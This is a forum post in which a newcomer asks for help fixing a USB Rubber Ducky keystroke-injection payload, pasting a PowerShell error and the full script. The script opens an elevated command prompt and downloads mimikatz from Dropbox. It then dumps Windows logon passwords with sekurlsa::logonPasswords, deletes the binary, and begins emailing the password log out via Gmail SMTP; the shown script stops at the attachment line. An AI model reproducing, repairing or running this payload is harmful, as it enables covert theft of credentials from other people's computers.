Jump to content

MotherFuckerJones

Members
  • Posts

    2
  • Joined

  • Last visited

Posts posted by MotherFuckerJones

  1. Hi guys, I just got my rubber ducky and I'm having a little trouble using as I'm a newbie. I've been trying to use the Payload download mimikatz, grab passwords and email them via gmail but I get an error code when it comes to download mimikaz. (I know my emails and passwords lol)

    I've pasted the error and bin file content that I've been having trouble with.

    If someone could please help that would be awesome!!!!

    I also don't get how to install twin duck but I've just created this account so I'll check the forum to see if I find something but if someone would be kind enough to give me a step by step instruction and explanation that would be greatly appreciated.

    -------Error Message-------

    C:\WINDOWS\system32>powershell if ([System.IntPtr]::Size -eq 4) { (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/i2ppl8v3xjeq8ju/mimikatz.exe?dl=0','%TEMP%\pw.exe');  }else{ (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/buorl25jw20ss8p/mimikatz.exe?dl=0','%TEMP%\pw.exe');}
    Exception calling "DownloadFile" with "2" argument(s): "The remote server returned an error: (460) status code 460."
    At line:1 char:200
    + ... e'); }else{ (new-object System.Net.WebClient).DownloadFile('https://w ...
    +                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
        + FullyQualifiedErrorId : WebException

    -----------Bin content---------

    DELAY 1000
    CONTROL ESCAPE
    DELAY 1000
    STRING cmd
    DELAY 1000
    CTRL-SHIFT ENTER
    DELAY 1000
    ALT y
    ENTER
    DELAY 300
    REM -------------download appropriate mimikatz for architecture
    STRING powershell if ([System.IntPtr]::Size -eq 4) { (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/i2ppl*****jeq8ju/mimikatz.exe?dl=0','%TEMP%\pw.exe');  }else{ (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/buorl25j*****8p/mimikatz.exe?dl=0','%TEMP%\pw.exe');}
    ENTER
    DELAY 5000
    REM -------------get the passwords and save to c:\pwlog.txt
    STRING %TEMP%\pw.exe > c:\pwlog.txt & type pwlog.txt;
    ENTER
    DELAY 2000
    STRING privilege::debug
    ENTER
    DELAY 1000
    STRING sekurlsa::logonPasswords full
    ENTER
    DELAY 1000
    STRING exit
    ENTER
    DELAY 300
    STRING del %TEMP%\pw.exe
    ENTER
    DELAY 300
    REM -------------email log via gmail
    STRING powershell
    ENTER
    DELAY 300
    STRING $SMTPServer = 'smtp.gmail.com'
    ENTER
    STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
    ENTER
    STRING $SMTPInfo.EnableSsl = $true
    ENTER
    STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('******@gmail.com', 'MYPASSWORD');
    ENTER
    STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
    ENTER
    STRING $ReportEmail.From = '*******@gmail.com'
    ENTER
    STRING $ReportEmail.To.Add('*******@gmail.com')
    ENTER
    STRING $ReportEmail.Subject = 'Duck Report'
    ENTER
    STRING $ReportEmail.Body = 'Attached is your duck report.'
    ENTER
    STRING $ReportEmail.Attachments.Add('c:\pwlog.txt')

×
×
  • Create New...